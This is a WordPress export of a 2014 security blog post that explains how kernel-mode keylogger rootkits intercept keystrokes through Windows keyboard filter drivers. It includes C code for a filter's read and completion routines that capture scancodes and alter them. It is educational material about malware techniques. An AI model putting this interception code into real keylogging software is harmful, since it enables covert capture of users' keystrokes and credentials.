{"id":227,"date":"2014-07-10T06:57:45","date_gmt":"2014-07-10T06:57:45","guid":{"rendered":"http:\/\/www.adlice.com\/?p=227"},"modified":"2022-12-21T10:39:43","modified_gmt":"2022-12-21T10:39:43","slug":"kernelmode-rootkits-part-3-kernel-filters","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/kernelmode-rootkits-part-3-kernel-filters\/","title":{"rendered":"KernelMode Rootkits: Part 3, kernel filters"},"content":{"rendered":"\n

This is the third part of this series about Kernel Mode rootkits<\/strong>, I wanted to write on it and demonstrate how some rootkits (Ex: Keyloggers) do to intercept keystrokes<\/strong> by using kernel filters.<\/p>\n\n\n\n

To understand the basics of kernelmode, drivers, please refer to the first part<\/strong><\/a>. This post is about a classic trick<\/strong>, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \ud83d\ude42<\/p>\n\n\n\n


Kernel filters<\/h4>\n\n\n\n

A kernel filter is a driver\/device<\/a> attached to another device, so that it’s inserted between 2 different layers of a driver stack<\/a><\/strong>.<\/p>\n\n\n\n

Imagine that when you press a key on your keyboard the information isn’t sent directly to your screen to type the character. Between the time you pressed the key and the time it’s displayed on the screen, the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level<\/strong>. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.<\/p>\n\n\n\n

For each driver, there are some major functions that receive IRPs to process<\/strong> (for example, the disk driver stack can receive a disk read request). Each IRP is processed by the current driver, and passed down to the next driver of the stack<\/strong>. Once we reached the last driver, it’s processed by the hardware and comes back in reverse order<\/strong>. Each driver of the stack is actually a filter and can modify the information<\/strong>. For example, if we try to read a specific file, we can just deny access, or we can modify the bytes directly in the system buffer.<\/p>\n\n\n\n

Kernel filters are used by malware or legit drivers to do multiple things, from keylogging to disk access filtering<\/a>, encryption<\/a>, …<\/strong>
 <\/p>\n\n\n\n

\"filesystem<\/a>
filesystem filter<\/figcaption><\/figure>\n\n\n\n


Practical case: Keylogger<\/h4>\n\n\n\n

We’ll study a practical case of highly stealth keylogger, deeply hidden in the kernel. Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites…<\/p>\n\n\n\n

I’ll not show you the entire kernel code, and especially how to attach to the keyboard stack. I’ll just write the hooking filter function. We want to intercept keystrokes, so we will attach to the keyboard stack and read IRP_MJ_READ. <\/strong> I haven’t told before, but as it’s kernel mode code, you’d need to code a driver.<\/a><\/p>\n\n\n\n

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)\n{    \n    \/\/Each driver that passes IRPs on to lower drivers must set up the stack location for the \n    \/\/next lower driver. A driver calls IoGetNextIrpStackLocation to get a pointer to the next-lower\n    \/\/driver\u2019s I\/O stack location\n    PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);\n    PIO_STACK_LOCATION nextIrpStack    = IoGetNextIrpStackLocation(pIrp);\n    *nextIrpStack = *currentIrpStack;\n\n    \/\/Set the completion callback\n    \/\/Tag the IPR so that we get it once completed\n    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);\n\n    \/\/Pass the IRP on down to the driver underneath us\n    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject-&gt;DeviceExtension)-&gt;pKeyboardDevice ,pIrp);\n\n}\n\nNTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)\n{\n    \/\/get the device extension - we'll need to use it later\n    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject-&gt;DeviceExtension; \n    \n    \/\/if the request has completed, extract the value of the key\n    if(pIrp-&gt;IoStatus.Status == STATUS_SUCCESS)\n    {\n        PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp-&gt;AssociatedIrp.SystemBuffer;\n        int numKeys = pIrp-&gt;IoStatus.Information \/ sizeof(KEYBOARD_INPUT_DATA);\n\n\t\t\/\/ For each pressed key\n        for(int i = 0; i &lt; numKeys; i++) { KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); \/\/fill in kData structure with info from IRP kData-&gt;KeyData  = (char)keys[i].MakeCode;\n            kData-&gt;KeyFlags = (char)keys[i].Flags;\n                        \n            \/\/***********************************\n            \/\/Convert the scan code to a key code\n            \/\/************************************\n            char keyss[3] = {0};\n            ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keyss);         \n            \n            if(keyss != 0)\n                DbgPrint(\"[%x] %s -- FLAG %x\\n\", keys[i].MakeCode, keyss, keys[i].Flags);       \n            \n            \/\/Modify ScanCode \n\t\t\t\/\/replace every 'r' (0x13) by a 'w' (0x2C)\n            if (keys[i].MakeCode == 0x13) keys[i].MakeCode = 0x2c;                \n            \n            \/\/***********************************\n            \/\/***********************************\n        }\n    }\n\n    \/\/Mark the Irp pending if necessary\n    if(pIrp-&gt;PendingReturned) IoMarkIrpPending(pIrp);\n\n    \/\/Remove the Irp from our own count of tagged (pending) IRPs\n     numPendingIrps--;\n\n    return pIrp-&gt;IoStatus.Status;\n}\n<\/code><\/pre>\n\n\n\n

The code is self explaining, fully commented.<\/strong>
We get an IRP from the IRP_MJ_READ function coming from userland, and we tag the IRP so that we get a completion routine<\/strong> hit when we come from the hardware (keyboard). In the completion routine, we just modify every ‘r’ keystroke by a ‘w’ keystroke<\/strong>.
 <\/p>\n\n\n\n
\"keylogger<\/a>
keylogger in action<\/figcaption><\/figure>\n\n\n\n

 
A demo of the rootkit is available here: <\/strong><\/p>\n\n\n\n
\n